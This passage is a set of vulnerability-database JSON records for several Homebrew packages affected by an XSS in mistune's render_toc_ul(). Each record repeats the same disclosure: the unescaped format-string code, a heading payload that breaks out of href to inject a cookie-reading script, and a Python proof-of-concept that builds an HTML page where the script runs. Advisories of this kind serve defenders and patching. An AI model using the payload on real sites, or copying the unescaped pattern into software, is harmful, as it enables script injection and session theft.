#333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
  "id": "BREW-iredis-CVE-2026-44898",
  "modified": "2026-09-10T00:12:06Z",
  "published": "2026-08-13T17:00:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/04880a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune TOC Anchor Injection XSS",
  "upstream": [
    "GHSA-6269-cqxg-mhhv",
    "CVE-2026-44898",
    "PYSEC-2026-2208"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "jiratui",
        "purl": "pkg:brew/jiratui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.0_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n    ...\n    for level, k, text in toc:\n        # k   = heading id  (used verbatim as href fragment)\n        # text = heading text (used verbatim as link label)\n        item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n        # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src  = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src  = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
  "id": "BREW-jiratui-CVE-2026-44898",
  "modified": "2026-09-10T00:14:14Z",
  "published": "2026-08-13T17:00:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/04880a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune TOC Anchor Injection XSS",
  "upstream": [
    "GHSA-6269-cqxg-mhhv",
    "CVE-2026-44898",
    "PYSEC-2026-2208"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "jupyterlab",
        "purl": "pkg:brew/jupyterlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n    ...\n    for level, k, text in toc:\n        # k   = heading id  (used verbatim as href fragment)\n        # text = heading text (used verbatim as link label)\n        item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n        # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src  = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src  = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
  "id": "BREW-jupyterlab-CVE-2026-44898",
  "modified": "2026-09-10T00:14:35Z",
  "published": "2026-08-13T17:01:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/04880a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune TOC Anchor Injection XSS",
  "upstream": [
    "GHSA-6269-cqxg-mhhv",
    "CVE-2026-44898",
    "PYSEC-2026-2208"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.1.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "recon-ng",
        "purl": "pkg:brew/recon-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.1.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.1.4"
      }
    ]
  },
  "details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n    ...\n    for level, k, text in toc:\n        # k   = heading id  (used verbatim as href fragment)\n        # text = heading text (used verbatim as link label)\n        item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n        # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and 